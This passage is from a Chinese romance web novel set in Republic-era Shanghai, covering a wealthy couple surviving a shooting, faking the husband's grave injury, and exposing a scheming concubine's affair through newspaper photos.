另外一个也插话:“你们不知道吧,凌栖珵曾经有个白月光初恋,当时那个轰轰烈烈,可惜女方家境不好被凌老爷反对,后来女方就出国了,我最近听说好像快回来了。所以人家哪看得上她啊,等到时候白月光回来估计就得离婚了。”
“家族联姻,有利益在,离婚怕是不太容易,但是家里一个外面一个谁知道呢,说不定娶回来当小的也是有可能的,到时候可是有好戏看了。
三个女生你一言我一语,哈哈哈大笑起来。
杭景妍本来准备冲出去,听到后面的话,突然松开了握在门把手上的手。
她不是第一次听到凌栖珵有个初恋,以前没动心前不在乎,现在突然有些不确定,有些迷茫,男人的承诺还犹言在耳。
哼,如果真有那一天,她一定会离婚。也绝不接受她的婚姻有三个人。
想清楚了正要出去,听到了静冉的声音:“哎呀,有些人啊,就是羡慕嫉妒恨,比不上人家只好背后酸人家,巴不得人家从云端跌落下来跟他们一样。”
“你说谁呢?”其中一个女同学气冲冲问。
“我说你,没看到吗,这里有镜子,好好照照自己是个什么样,长舌妇。”
“你。”女同学气结,伸手指着静冉。其他两个有点被人抓现行还是有点心虚,拉扯着中间女同学,“我们走吧。”
“等等。”杭景妍推门而出。
四人望着声音的方向,只见杭景妍打开隔间的门,缓步走到她们面前,越走越近,甚至逼近中间女同学的脸。
三人被她的迫人气场震慑住,不住后退,“你,你要干什么?”<
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p>“干什么?”杭景妍一声冷笑,“刚刚不是还很嚣张吗?怎么这回怂了?我现在就站在你面前,把刚才的话再说一遍,恩?”
啪。
一声清脆的巴掌声响起,杭景妍给那个女同学一巴掌,“既然你管不好自己的嘴巴,那么就由我来替你管。”
被打的女同学捂着一边脸颊,不可置信:“你敢打我?”
“为何不敢,你以为你是哪颗葱?我之前不想跟你计较,那是我仁慈,你还得寸进尺了,现在我就让你涨涨记性。”
“景妍,好样的,就是不能惯着这种人,太威武了。”静冉冲上前来,加油助威般。
“记住,下次再让我听到你在背后乱说我的事,后果可不是一巴掌那么简单。”杭景妍斜睨着他们三个,冷傲的语气吩咐。
她站在洗手池边洗手,仿佛打她更是脏了自己的手一般。
等她洗手完,转头出去,三个人早已经不见踪影。等在一旁的静冉与她相视一笑:“这些人就是欺软怕硬,让着她总是得寸进尺,这回以后估计也老实了。”
杭景妍一边走一边甩手上的水珠:“哎呀,每次都把我的娇滴滴的弱女子逼成凶女人,真讨厌。”
下午,上完了一天的课程,杭景妍和静冉边聊边收拾书包。
“景妍,你老公来不来接你?”
杭景妍抿嘴思考了会:“好像是不来吧,那个日理万机的人我才不指望他,叫黄包车回去就可以了。”
“那我们等下去学校对面的小巷去吃小吃吧。”
“哈哈,好。”
两人走到校门口,看见门口围着一群女生在窃窃私语,“好帅啊。”
“我们学校什么时候也有这种帅哥。”
“看起来是来接人的,是谁家亲戚,真是太养眼了。”
杭景妍拨开议论的人群向前。
凌栖珵身着一套深蓝色条纹西服,剪裁得体的西裤包裹着一双大长腿优雅交叠,姿态随意靠在车门前,斯文矜贵。
杭景妍无语住了,这个男人又来散发自己的魅力,跟个开屏的孔雀似的,做人不能低调点吗?
她拿手遮住脸恨不得他看不到自己,她不想那么招摇啊!
奈何这男人太火眼金睛,在一众女生中精准的搜索到她的身影。
男人俊丽的脸上浮现一抹笑容,勾魂摄魄,迈开长腿,不疾不徐向她走来,站定在她面前。
其他围观的人齐刷刷向他们这个方向看过来。
“难道这个就是传说中杭景妍的老公?凌家大少爷?真是气质不凡,英俊多金,真羡慕杭景妍。”
“刚刚那个谁还说人家是豪门联姻,利益结合,没有感情,看人家男方多宠景妍,还亲自接她放学,我要是有那么帅的老公来接我放学,我都要幸福的晕过去。”
另一个女生插嘴道:“那么帅的男人,就算没有感情,倒贴钱睡他也值了,何况还他还多金,这么张脸不睡白不睡,豪门联姻谈什么感情,太天真。”
周围那些人你一言我一语的,虽然压低了声音,但是还是传进了杭景妍的耳朵。
杭景妍对她们的议论简直是哭笑不得,果然颜值即正义。
她无奈地看着面前的男人,问:“你怎么来了。”
凌栖珵无视身边女生火辣辣的视线,抬手把杭景妍垂落脸颊的碎发勾到耳后,开口,嗓音低沉带着磁性:“当然是接老婆放学。”
28. 第 28 章
杭景妍转头找一直在身边的静冉,发现这个小妮子早就不知道偷偷闪到哪里去了。
“可是你看,你一来,静冉都不知跑哪个角落了,本来我们打算去对面吃小吃的,好好的计划都被你打乱了。”杭景妍瞪着面前的男人,撇撇嘴,有些生气。
凌栖珵转头看了看对面的巷子里,巷子里两旁摆满了各种小吃摊,放学的学生一部分都涌了过去,小巷子里熙熙攘攘的。
凌栖珵拉起妻子的手,“她不陪你去,我陪你去。”
两人走过了马路,汇入熙熙攘攘的人群中。一身西装革履的男人站在一群学生装的女生和辛苦劳作的小摊贩中有点格格不入,但是杭景妍才不管那么多,到了小吃摊前甩开男人的手,挤到排队队伍中。
凌栖珵心疼她,站在她旁边替她占位置,“你在旁边休息吧,我帮你排。”
杭景妍想了想,便把位置让给他,自己去后面逛看下还有什么,她走到了一家烧饼摊,要了两个烧饼,再回来原来的地方等凌栖珵。
凌栖珵也买到了生炒圈子,他是第一次看到这类型的小吃,有点接受无能。
他把生炒圈子给了吃着正香的杭景妍,看着小妻子放下手中的烧饼,用牙签扎着吃起来,他露出了怀疑人生的表情,询问:“好吃吗?”
杭景妍点头赞许,一边吃一边答:“好吃,人间美味。”
见男人还是一副怀疑人生的表情,她反问:“你不会从小到大没吃过生炒圈子吧。”
凌栖珵好像被戳破了什么了不得的秘密,掩饰般咳了咳,一本正经道:“这些不卫生,从小我就不吃,你也少吃点这些街头小吃。”
杭景妍了然般笑了笑,眼神表示,我都懂,你别解释了。
她拿牙签扎了一块生炒圈子喂到凌栖珵嘴边,“尝尝,可好吃了,
凌栖珵嫌弃地看了一眼这个猪大肠,不好意思拒绝老婆,不情不愿地张嘴吃下去。
看着他不紧不慢地嚼着,杭景妍看好戏看着,问:“好吃吗?”
凌栖珵吞了下去,回到:“还行吧,用料太多了。”
杭景妍撇撇满是油花的嘴角:“你们这些世家公子是不懂这些街头巷尾的美味的。”
凌栖珵宠溺一笑,扯出自己随身携带的手巾,为杭景妍擦拭嘴角的油,动作温柔,好似她是个易碎的的瓷器,“慢点吃,你看你吃的满嘴都是。”
杭景妍呆愣得任由男人擦拭着嘴角。白皙的脸颊渐渐浮上红晕,她不好意思地抢过手巾自己擦,连忙转移话题:“天色晚了,我们回去吧。”边说边走出巷子。
并在心里吐槽,狗男人的套路多,坚决不要被糖衣炮弹迷惑。
跟着她走在身后的凌栖珵看穿了她的心思,也不点破,只是故作遗憾道:“就这样回去吗?我可是来接你去吃晚餐的。”
男人叹了口气,“看来某些人今晚并不想吃大餐,可能路边摊吃饱了,那就回家随便吃吧。”
听到男人要反悔,杭景妍立马转头,“谁说的,我要去,快点头前带路。”
“是,谨遵老婆大人的命令。”
凌栖珵找了家法餐厅吃饭,两人边吃边聊,听着悦耳的钢琴演奏,好不惬意。
这顿饭整整吃了三个小时才吃完。
吃完饭刚出餐厅的门,就在车前听到一声枪响。
“小心。”凌栖珵一声惊呼,拉过杭景妍弯腰,躲过了一枪。
两人立马弯腰靠在车旁,利用车子挡住。
只听枪声不断,又是两声往车身打去,情况越发危急。凌栖珵躲在车后快速扫过身前景物。
拉着杭景妍,趁着对面枪手不备之际,快速闪到人行道的梧桐树后,想趁着梧桐树的掩护往里面的巷子跑。
他躲在树后偷偷观察着对面的情况,又一声枪响,子弹擦着树飞过,他立马躲回树后,
并且把妻子护在胸前,从后面搂住她,这样才能防止被子弹打中。
两人冒着枪林弹雨,在梧桐树的掩护下,躲进了巷子里。
巷子黑暗,七拐八弯,沿着巷子走了一公里,确定把人甩掉了,杭景妍才松了一口气,身体一软,靠在墙上,大口大口的喘气。
她看了身边的男人一眼,凌栖珵闭着眼靠着墙,喘息着,手臂渗出鲜血。
看到男人手臂渗出血,杭景妍惊慌起来,生怕他伤到要害。
她立马起身走到他跟前,“流血了,我看看伤到哪了,要是伤到要害就麻烦了。”边说边焦急地在男人身上左看看右看看。
凌栖珵被她左摸摸右摸摸摸得受不了,伸出另一只没受伤的手抓住她,无奈道:“只是左手被子弹擦到,没大碍的,暂时还死不掉,不会让你当寡妇。”
听到他还有力气开玩笑,杭景妍心放了一半,抬手轻锤男人的胸口,“你以为我担心你啊,我是担心我家的经济资源。”
凌栖珵了然一笑,并没应她。
虽然知道他没有伤到要害,但是看着男人还在流血的伤口,杭景妍蹲下,撕下自己裙子的一脚,给男人把伤口包扎止血。
“你说是谁那么狠,要至我们于死地。”
“还能是谁,二房,估计是知道我们拿住了她的把柄。干脆一不做二不休,把我们解决了,她儿子就说名正言顺的继承人了。”
杭景妍听了,冷笑一声,“看来还是我小巧她了,还真是心狠手辣。”
凌栖珵回到:“毕竟先下手为强,后下手吃亏。”
“看来我们要把那些料放出去,既然人家出手了,我们岂有不礼尚往来的道理。”
杭景妍点点头,“听你的。”
而后,她看了眼男人手上的手臂,道:“还是去找李麟叫他帮你处理一下吧。”
凌栖珵看了眼自己受伤的手臂,点头同意。
和平饭店。
凌二姨太正在套房内听着音乐品着红酒,一旁的美男子正在小心地替她捏着肩。
听到底下人报告刺杀失败,她愤怒地摔了杯子。
顿时,玻璃碎片飞散得到处都是。
凌二姨太愤怒道:“废物!这么十拿九稳的事情都能让人跑掉,要你们有何用!”
手下人低头默默挨训。
一旁的美男子,连忙安慰她:“消消气,别为了点小事气坏了身体。”
二姨太摸了摸一旁的美男子俊丽莹白的年轻脸蛋,感慨道:“还是你贴心,只是刺杀失败,事情败露了我怎么办?”
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美男子回答道:“奶奶别急,他们有什么证据是你派人去刺杀他们。到时候抵死不认便是了。
凌二姨太,思考了美男子的话,道:“事到如今,只能如此了。”
她躺在沙发上开始回忆事情的始末。
昨天她带着永华逛街出来,准备上车时,她感觉到闪光灯的光晃了下眼,抬头细看,对面黄包车正拉着什么人远去。因为挡棚遮住,看不清是谁。开始还以为是小报记者,有些惊慌。着急忙慌地打发了永华,连忙回到家中。
等到了家中听丫鬟言讲,大少奶奶派来丫鬟打听自己在不在家,才察觉估计是杭景妍。估计她是拍到了什么。想到这,万一她跟凌栖珵告状了,就不好了。
反正他们也是自己儿子继承家业的最大的障碍,除了凌栖珵大房一定痛不欲生,杭家失去了女儿,又受到外国资本的围剿肯定一蹶不振。
杀了他们再派人去他们的房间偷出自己的把柄,既销毁了证据又能帮自己儿子继承家业,简直一举两得。
可现在刺杀失败,他们一定反击,现在只能先想办法潜入他们房中把那些把柄给销毁。
医院。
李麟一路风风火火进了自己的诊所,未见其人先闻其声:“我说凌大少爷,我上辈子可能是欠你的了,怎么每次你都能搅了别人的好事。”
等进了门口看到凌栖珵受伤的手臂,殷红的鲜血从伤口一点点渗出,他大叫一声:“哇靠,你们这是去干嘛了,战况那么激烈。”
凌栖珵没好气道:“你狗嘴里能不能吐出象牙来,被人刺杀了,差点就没能见到亲爱的兄弟你了。”
“谁啊,那么缺德,你惹了谁了,你家二房啊。”李麟边说边走近细看了他伤口,带人进了处理间。
“嗯哼。恭喜你,回答正确。”凌栖珵边随他进去边回答道。留杭景妍在屋外等待。
李麟做出害怕的表情,“好可怕,真是蛇蝎女人。”
他把凌栖珵带进手术操作台,让他坐下,他边说边处理了伤口,取出子弹,进行缝合。
半个小时后,李麟把带血的纱布扔进垃圾桶,呼出一口气,“好了,注意下,伤口不要碰水,每天来我这换药。”
凌栖珵看了看自己被包的严实的伤口,而后道:“谢了。”
李麟洗完手靠在手术床上,道:“你打算就这么回去了?”
两人相视一笑,一场好戏诞生。
等男人被包扎好,杭景妍走进了处理间,就见到他半边身子包裹得里三层外三层的样子,她吓了一跳,问道:“怎么包成了这样,不就手臂中弹,这个左臂和半边身子都包了还让人以为怎么了。”
李麟打个响指,“回答正确,就是要让人以为他怎么了。”
凌栖珵朝妻子伸手,招呼:“过来我身边。”
杭景妍听话走过去。
凌栖珵拉着她的手耐心地解释:“现在我们要合演一出戏,让他们以为我怎么了,好方便后面的计划。”
听完了男人的解释。一通电话响彻夜晚的凌府。
电话里,杭景妍伤心哭泣:“妈,栖珵遇到刺杀,重伤躺在了医院。”
凌太太听到这个噩耗,眼前一黑,昏了过去。
29. 第 29 章
“太太,太太你快醒醒。”丫鬟端水进来,看见凌太太晕倒在沙发上,连忙放下手中托盘惊慌上前呼唤。
听到声音,其他的丫鬟也连忙围上前。
“快,给医生打电话,再去书房通知老爷。”
大丫鬟吩咐了其他人,再和剩下的丫鬟扶着凌太太把她挪到床上躺着。
十多分钟后,在丫鬟们的急救下,医生还没过来,凌太太已经悠悠转醒。
此时,凌老爷也跟着来禀报的佣人走进卧室看望。
凌太太看着站在床边的凌老爷,缓了缓神,反应过来,抓住丈夫的手,着急道:“老爷,快救救我们的儿子,刚刚儿媳妇打电话过来说,栖珵他被人刺杀,现在躺在医院,生死未卜,栖珵要是出了事情要我怎么活啊!”
凌老爷内心震动,但面容平静,只微皱眉头。他安抚情绪激动的妻子道:“在这个上海滩还有敢动我的儿子的人,我倒要见识见识。你好好休息,我去医院看看。”说着便要起身准备前往医院。
凌太太连忙起床,喊道:“老爷,等等我。”
凌老爷回头,“你身体不好还是别去了。”
凌太太整理好仪容跟上前:“儿子在医院里躺着,我不亲眼见到他渡过危险,我不放心。”
凌老爷沉吟了一会儿,同意了。
医院。
杭景妍站在床前看着来往的车辆。
看到凌家的车挺稳在医院大门口,连忙道:“来啦,公公婆婆来了,快点躺好。”说着连忙回身来到床前帮凌栖珵躺下,盖好被子。
两人一阵手慢脚乱地演戏。
直到听见屋外的脚步声,凌栖珵闭眼假寐。
杭景妍带着哭腔迎接前来探望的公公婆婆:“父亲,母亲。你们可来了,栖珵他,我们不过在餐厅吃完饭,刚出餐厅便遇到刺杀,栖珵他流了好多的血。”
凌老爷拄着拐杖站在一旁,严肃的脸上也带着担忧:“医生怎么说。”
杭景妍假意用手帕抹眼泪道:“医生说幸好送来的及时,只是现在还没度过危险期。
凌夫人抹着眼泪上前来看病床上的儿子。
杭景妍生怕她看出破绽,上前拦着她:“妈,我们别打扰栖珵休息,先出去吧。”
凌太太抹着泪,深情地看了眼假寐中的儿子一眼,跟着儿媳妇出了病房。
病房内,随着病房门关上的声响,凌栖珵睁开了眼。
出了病房,凌老爷去找医生询问儿子的情况。
医院的医生李麟已经打过招呼,见凌老爷来问,自然是滴水不漏,只是回答,凌公子伤势不轻,没有过危险期,今晚上先观察,等过了今晚没问题才算是脱离了危险。
凌老爷听到了医生这样回答,不免一阵长吁短叹。
这是他最引以为傲的儿子,虽然从小没怎么上心过,但是他仍然成长的出类拔萃,也让他自豪。
不像小儿子,从小宠爱长大,却不想却越来越骄纵,他不得不放更多心血在小儿子身上,想为他筹谋。
如今,小儿子还不能独挡一面,大儿子却在这时候倒下,生死未卜,他不进位凌氏的未来感到担心。
病房外,
杭景妍和凌太太守在病房门外,看到凌老爷拄着拐杖回来,连忙迎上前。
看凌老爷的模样,她估计是听到了医生告知的早就准备好的答案。
但还是装出担忧的模样和凌太太一起问道:“医生怎么说?”
凌老爷抬头看了一眼自己的太太,有点于心不忍的说道:“医生说就看能不不能听过今晚。”
听到这个答案,凌太太眼前一黑,差点晕过去,杭景妍眼疾手快地扶着她,才不至于倒下。
杭景妍:“妈,你放心,栖珵吉人自有天相,一定会平安无事的。”
凌老爷愤愤地跺了下拐杖,冷哼:“我倒要看看是谁如此胆大包天,敢公然和我凌家作对,刺杀我的儿子,让我查到,绝对不让他好过。”
凌太太无心顾及其他,只是在一旁不断抹泪。
杭景妍听着凌老爷的话,在心里暗暗道:“还有谁,还不是你最心疼的小老婆,人家不仅要杀你儿子,还敢给你带绿帽呢。”
而还在酒店的二姨太的接到电话,凌栖珵深受重伤,在医院抢救,她不禁冷笑。看来虽没有一枪毙命但还是让他受了重伤。
如此事情就好办了。
接下来的一小时,杭景妍陪着凌太太在病床前守着。
病房外,凌老爷找来了管家仆人,去查凶手。
并亲自去给巡捕房打去电话,巡捕房长官好像是和凌家有什么交情,听说了这一恶性事件,一再保证一定会把凶手缉拿归案。
病房内,凌栖珵躺在床上一动不动,杭景妍不知道他是在装睡还是真的睡着了,想想这戏真是演得辛苦。
到了半夜杭景妍和凌太太也在不断打盹。
这时候才觉得,凌栖珵的角色才是最简单的,只要躺在床上装睡最好,她还要陪着熬夜,她真的快熬不住了。
她用手捂着不断打哈欠,劝着在一旁沙发上瞌睡的婆婆,“妈,回去休息吧,这里有我就行了,您放心,有什么情况我一定第一时间通知您。”
凌太太迷糊地睁开眼,看了病床上的儿子,目前为止还算平稳没有什么异常。
但是她还是不放心。
杭景妍见她还在犹豫。招来了病房外凌太太的心腹婆子。
婆子上前劝道:“太太,还是去休息吧,少奶奶在,少爷一定会平安无事的,您的身体也重要,可别熬坏了,少爷要是醒了,您再倒下这可如何是好。”
“这,可是我不能扔栖珵一个人在这里。”凌太太犹豫。
“这样吧,妈,叫下人在医院旁边开一个酒店房间给您休息,这里近万一有什么事,您也可以马上赶过来。”
凌太太思考了下儿媳的提议,点头应允。
她拉着儿媳的手道:“如此就麻烦你了。”
“妈,你放心,我会照顾好栖珵。”
望着凌太太的背影消失在医院走廊,杭景妍也找了个理由屏退了一些丫鬟,关上病房门。
终于,可以舒一口气了。
杭景妍靠着门缓了缓,看到病床上装睡的男人就生气,“人都走了,还装什么装。”
凌栖珵仿佛没听见,躺在床上一动不动。
杭景妍看他这样更来气,走到病床前,没好气地给了一拳,“醒醒,人走了。”
病床上的男人还是一动不动,她有些慌张,摇了摇男人的身子,“睡着了。”
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猝不及防,凌栖珵伸出手搂过病床前的女人。“没有你,怎么睡得着。”
杭景妍轻轻锤了男人的胸口,“甜言蜜语,你刚刚不是睡的很香嘛,可怜你老婆我连个睡觉的地方都没有。”
凌栖珵往边上挪了挪把半边床的位置留给她,“上来吧。”
杭景妍看着剩下的半边床,思考了会,合衣躺上去:“哎,真累。”
凌栖珵安慰:“老婆辛苦了。”
“知道我辛苦就好,现在能讲一讲为什么演戏了吧。”
凌栖珵:“迷惑敌人,让他们放松警惕,才可以暗中出手。”
杭景妍问道:“那我们现在可以出手了?”
凌栖珵点头:“当然,之前我们还等着机会,不到万不得已不想把你拍到的料放出来,现在看来是时候了。”
“现在就把照片交给媒体吗?”杭景妍问道,好像又想起什么似的,道:“我们现在都不在家,他们进我们院强抢怎么办。”
凌栖珵思考了会,道:“应该不会找到,暗房的位置比价隐蔽,他们不容易找到。
杭景妍还是不放心,立马起身,抓起床头的电话给家里的绮绿打过去。
电话响了好几声,才有人接听。
“绮绿,家里有没有人来过。”
电话一头的绮绿带着哭腔:“小姐,刚刚二姨太的人跑到我们屋里,说二姨丢了东西,不由分说地把我们屋里里外外一顿翻找,简直欺人太甚。”
听到这里杭景妍心都提到嗓子眼,连忙问:“那他们有没有带走相片?”
绮绿回忆了下,回答:“好像没有,好像没找到暗房的位置吧。”
听到这里杭景妍舒了口气,吩咐绮绿:“你听我说,现在你去地下的暗房把那些照片还有里面的相机底片全部收起来,藏到隐蔽的角落,等我回来处置。”
杭景妍挂了电话,对凌栖珵道:“看来得回家一趟。”
凌栖珵点了点头,打电话吩咐王助理带他的保镖起凌府。
挂了电话,对妻子道:“我叫人跟你回去,你把东西交给他,他们自然会知道如何处置,明天,上海滩大街小巷都会知道他们的丑事。”
杭景妍起身下床,穿鞋。
“好的,我走了,你自己慢慢躺吧。”
凌栖珵拉过妻子的手,道:“等等。”
杭景妍不明所以,转过头,“嗯。”
凌栖珵用力一扯,把她的身体往他的方向倒去,精准地附上女人的唇,辗转吸允。
杭景妍半天才反应过来,在男人的怀里挣扎,给了他两拳。
男人放开了她,“老婆辛苦了,这是慰问费。”
杭景妍内心翻着白眼,狗男人真是会占便宜。
她直接推开他,起身离开。
“走了。”
“注意安全。”
杭景妍偷偷回到家中,看二姨太的屋,黑漆漆的,估计人都已经睡了。
绮绿听到吩咐还在等着。
杭景妍立马去地下室收起相片,并且从相机中取出交卷,交给了随她而来的助理。
正当助理拿到东西准备离开时,一阵声音传来。
“等等。”
屋外,二姨太已经带着一大帮人拦截在外。
30. 第 30 章
杭景妍见这架势也不走了,双手交叉在胸前,冷哼:“姨娘这是准备抢劫吗?”
都到了这个份上,二姨太也不装了,直接伸手道:“把照片交出来,我们相安无事。”
“照片,什么照片,我听不懂。”杭景妍故作不知。
还真当她蠢呢,都派人来刺杀了,把唯一的把柄交给你,不是任人宰割?”
她也不想再跟她多费口舌,“起开,再拦我,我就不客气了,姨娘,你猜公公他要是知道他最宠爱的老婆要杀他长子,他会怎么想?”
“栖珵被人刺杀了,谁干的?你说是我,有证据吗?”二姨太故作不知道。
杭景妍长吁口气,她真是佩服这位姨娘的演技,真是不到黄河心不死。
“姨娘,都到了这份上了,还演呢,有意思吗?”
二姨太自知落了下风,也不再跟杭景妍做口舌之争,眼神示意手下人动手抢东西。
杭景妍的保镖也不是吃素的,两方人马大打出手,剩下两位保镖护着她立马出门上车。
二姨太的人追上来拦在车前,企图阻扰他们离开。
杭景妍发狠,冷笑,命令道:“撞上去,既然他们不想要命,那么我们就成全他们。”
保镖立马发动车子往前撞去,车前的人吓的连连后退,最后还是不敢用自己的命去硬拼,只能眼睁睁地看着她们逃走。
杭景妍转头看着那些人气急败坏地追,却追不过四个轮子,最后只能被甩的越来越远,扬起得意的笑容。
车上,她把照片都交给了跟过来的保镖,“你们把照片拿走吧。”
保镖一路护送杭景妍回到了医院。
守在外面的丫鬟还在打瞌睡中,杭景妍悄悄溜进病房,没人发现。
进了病房,她扯了把椅子坐在一旁,摆弄着相机,取出交卷,观看。
凌栖珵睁眼,看到妻子在一旁,道:“回来了,没事吧?”
杭景妍点了点头,“还是你想得周到,你姨娘召集了人手跑去我们屋翻找,后来更是堵在我们屋外,要不是你的保镖牛,估计是回不来了。”
凌栖珵伸手拉住她的手,感受到她真的没事,才放下心来。
“她是穷途末路才气急败坏,要是她的事情被我爹知道,估计也就玩完了。”
杭景妍想到她做的事情,要不是那个杀手菜,说不定他们就去见阎王了。
她愤恨道:“只让她身败名裂,都便宜她了。”
凌栖珵:“有时候让一个人活着比让她死了更难受,就要让她活着看着她多年谋划的一切都变为泡影,这比杀了她更让她难受。”
“明天,就送给上海滩一个头条,送给我那个好父亲一个大礼。”
第二天是个晴朗的天气。
杭景妍和凌栖珵两个人挤在那张病床上睡了一晚。
听到脚步声,她连忙从床上跳起来,是凌夫人来了。
凌栖珵在一旁含笑看着她慌乱的模样,“慌什么。”
杭景妍立马给他一记白眼,示意他闭嘴。
凌栖珵笑着闭上眼睛装睡。
一阵手忙脚乱后,堪堪收拾好自己,凌夫人便带着丫鬟推开了病房门。
杭景妍立马叫人:“母亲,您来了。”
凌夫人慈祥地道:“好孩子,辛苦了,我叫丫鬟煮了点粥,给你当早餐。”说着吩咐丫鬟打开盖子放在外面会客厅的茶几上。
杭景妍笑道:“谢谢妈。”
凌太太上前看了一眼还在装睡的儿子,问道:“栖珵他如何了。”
“妈,您放心,栖珵这一晚上很稳定。”杭景妍答道。
而另一边宾馆内
凌老爷刚起床准备去看儿子,昨晚在警局商讨案情到很晚,疲劳的他准备喝一杯咖啡提提神。
便听到报童在窗外的声音:“号外,号外,凌家二姨太出轨。凌家二姨太夜会情人,两人甜蜜相依,凌家董事长被带绿帽。”
听到报童的呼喊,凌老爷气不打一处来,大喊管家:“来福,来福。”
管家也听到了外面报童的消息,惴惴不安地来到凌老爷面前:“老爷。”
“去,去吧外面的报纸买回来。”凌老爷愤怒命令道。
“是。”管家来福领命出去。
等关上门,管家不禁舒了一口气,刚刚的报纸头条他也听到了,是谁那么大胆,如果是真的这可真是要天崩地裂的节奏。
他走出宾馆门口拦住报童要了一份报纸,打开一看,大大的标题,还有各种照片,
二姨太和情人甜蜜相依的,在车内拥吻的,看得他也不禁老脸一红,把报纸合上,揣进怀里。
回到宾馆,管家站到凌老爷面前,小心翼翼道:“老爷,您还是别看了。”
凌老爷伸手示意:“把报纸拿过来。”
管家不敢不听命令,缓慢地从怀中把报纸拿出来,放在凌老爷面前的书桌上,道:“老爷,您看了千万要沉住气,身体要紧。”
凌老爷打开报纸看到了黑体加粗的大字:凌家二姨太出轨。凌家二姨太夜会情人,两人甜蜜相依,凌家董事长被带绿帽。
下面更是有图片,拍到二姨太和情人在车内拥吻。
有图有真相,事实摆在他面前,由不得他不承认,凌老爷没有想到在他面前百依百顺,娇媚可人的女人竟然有胆背叛他。
标题上的大字,凌家董事长被带绿帽更是像在他的脑中无限循环,刺激着他脆弱的神经和心脏,他睁大眼睛,不断喘着粗气,而后用尽全身的力气爆出一声吼:“贱人,敢背叛我!”
随后便捂着心脏,人一歪向后倒去。
“老爷!”管家见状连忙上前来扶着,慌里慌张地找出救心的药,给塞进凌老爷嘴里,并打电话去医院。
医院病房内
杭景妍吃过了早饭,医生也来给凌栖珵检查了。
一番假模假样的检查后,对凌夫人说道:“病人已经度过了最危险的时期,随时可能会醒。”
凌夫人听到这个消息松了口气:“总算是老天有眼,没有带走我儿子。”
杭景妍也在一旁陪着笑脸演:“是啊,妈,栖珵吉人自有天相。”
这是病房门开着,路过的护士的窃窃私语声穿了进来。
“这凌家二姨太也是猛人,竟然在外偷偷养小情人。”
“这回凌家老爷这绿帽真是结实了。”
“昨天凌家少爷不是刚刚重伤送来了医院,不会是知道了什么,要被灭口吧。”
凌夫人走出去,刚想详细询问便看到报纸上的照片,瞬间睁大了眼睛。
她向来知道这女人大胆,野心勃勃,没想到她那么大胆,真是让她瞬间被震惊到说不出话来。
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>这时,丫鬟也上前来,在凌夫人耳边说道:“夫人,老爷他心脏病发,刚刚也送来医院抢救了。”
“什么?”凌太太再次被震惊。
她被丫鬟扶着回到病房,还回不过神。
这下家里两个顶梁柱的男人都倒了,她顿时六神无主,她无助地抓着儿媳的手,问道:“景妍,他们说栖珵是看到了什么才要被人灭口,是真的吗?”
杭景妍如实回答:“妈,其实是我拍到了他们的事情,他们干脆一不做二不休,想把我两杀了,栖珵死了就再也没有人挡在她儿子面前了。”
“妈,现在爸倒了,如果我们不能进一步采取行动,集团的大权可能会旁落。”
“你想要怎么办,现在栖珵还没醒。”
“公司也有您的股份,还有您家的几个兄长,到时候您说服他们支持栖珵就好。”
凌太太带着迷茫看了儿媳一眼,问道:“我可以吗?”
杭景妍握着她的手,道:“妈,你都被二房打压多少年了,如今正是一个机会,为了您儿子也得强硬起来。”
凌太太,点头同意。
此时,丫鬟走进来告诉凌太太,老爷也被送进了这家医院。正在抢救室抢救。
凌太太看了丫鬟一眼,眼神复杂,最后还是起身,“我去看看。
杭景妍扶着婆婆起身,“妈,我就不能跟过去了,栖珵这边还离不开人。”
目送婆婆离去,杭景妍才推开里间的门,坐在凌栖珵床前。
“你都听到了吗?现在达到了第一步目的,下一步怎么走?”
病床上的男人睁开眼,拉过女人的手,“下一步就看我的吧,你别操心了,这两天你辛苦了。”
杭景妍甩开男人的手,娇嗔:“你知道我辛苦就好,快点把这破事完结就好,当初就是觉得你们豪门家族事情多,才不想嫁,你们家要是像我们家一样,一个男人只娶一个老婆会有那么多破事吗?”
凌栖珵道:“老婆说得对,从我开始,做到深情专一,一辈子只爱一个女人。”
杭景妍微笑:“贫嘴。”
医院抢救室
凌太太被丫鬟搀扶着步履匆匆赶到,一直守在门口的管家看见太太来了,垂首站在一旁。
凌太太问:“你是怎么伺候老爷的,怎么让他变成了这样,本来他的心脏一直就不好,不能动气,你还让他生那么大的气。”
来福低头道歉:“对不起,太太,本来我也不让老爷看到报纸,老爷一定要看,我也没办法。”
讲到报纸,她倒是很想知道,到底拍到那个女人干了什么怎么就让她儿子丈夫都进了医院。
凌太太伸手向管家索要报纸:“报纸呢,我看看,我倒要看看这个女人到底有多大的本事。”
管家从身后拿出报纸,交到了凌太太手中。
凌太太看到二姨太在报上照片跟那个男人亲密的模样,不禁冷哼一声。
“好家伙,真是敢啊。就是为了这些照片要杀我儿子儿媳。”
此时,一声凄厉的叫声响彻医院走廊,“老爷,你千万不要丢下我!”
凌太太放下报纸,发现正是二姨太不知道去哪里听到了消息带着一双儿女赶到,在抢救室门外哭天哭地。
“哭什么,这不是你想看到的吗?他不是被你气进抢救室的吗?”凌太太在一旁冷声道。
31. 第 31 章
凌太太把那张报纸扔到二姨太脚前。
把柄握在别人手上她无话可说。闭着眼睛,强忍着怒气。
她才不在乎里面那个老头死活,要不是还没拿到想要的东西,谁愿意伺候一个老头,小鲜肉不香吗?
东西还没到手,只能忍。
只是哪里想到多年的布局竟然毁在了一个小丫头身上。
跟来的凌绘雪弯腰捡起了地下的报纸,刚刚听到父亲生病的消息在来的路上她听到一些风言风语,她不敢相信是真的。
直到现在亲眼看到报纸上的照片,凌绘雪的脸上写满了不可置信。
她的母亲也太大胆了,竟然敢真的背着父亲在外面包情人。
凌绘雪不由自主的长大了嘴巴,最后不死心地问母亲:“妈,这是真的吗?”
二姨太显然是无法面对儿女直白的质问,张了张嘴,辩解的话无法说出口。
虽然她觉得她没错,老头三妻四妾的,怎么就不允许她找男人。
一旁的凌栖珩也是惊呆了,平时自己花,他没想到他妈妈跟他一比也是不遑多让。
凌绘雨知道消息也急匆匆赶到了,刚好看到这一幕,讥讽:“当然是真的,我嫂子冤枉她不成。
还有我大哥大嫂遇刺的案子,警察还在调查中,相信不久就会水落石出。
一个小时后,抢救室的灯灭了,医生打开门走出来。
大家一拥而上,把医生团团围住。
“怎么样了?”
医生摘下口罩,无奈道:“已经尽力了,什么时候醒来就只能看他自己了。”
几位女眷听到这个消息,不由瘫坐在椅子上。
只有凌栖珩,带着一股迷茫。
凌绘雪在一旁道:“二哥,现在家里两个男人都倒下了,家里就剩你一个男人了,你可要把家业支撑起来。”
凌绘雨立马反击:“靠他,喝花酒他在行,别的?我看凌氏集团过两天就得关门。”
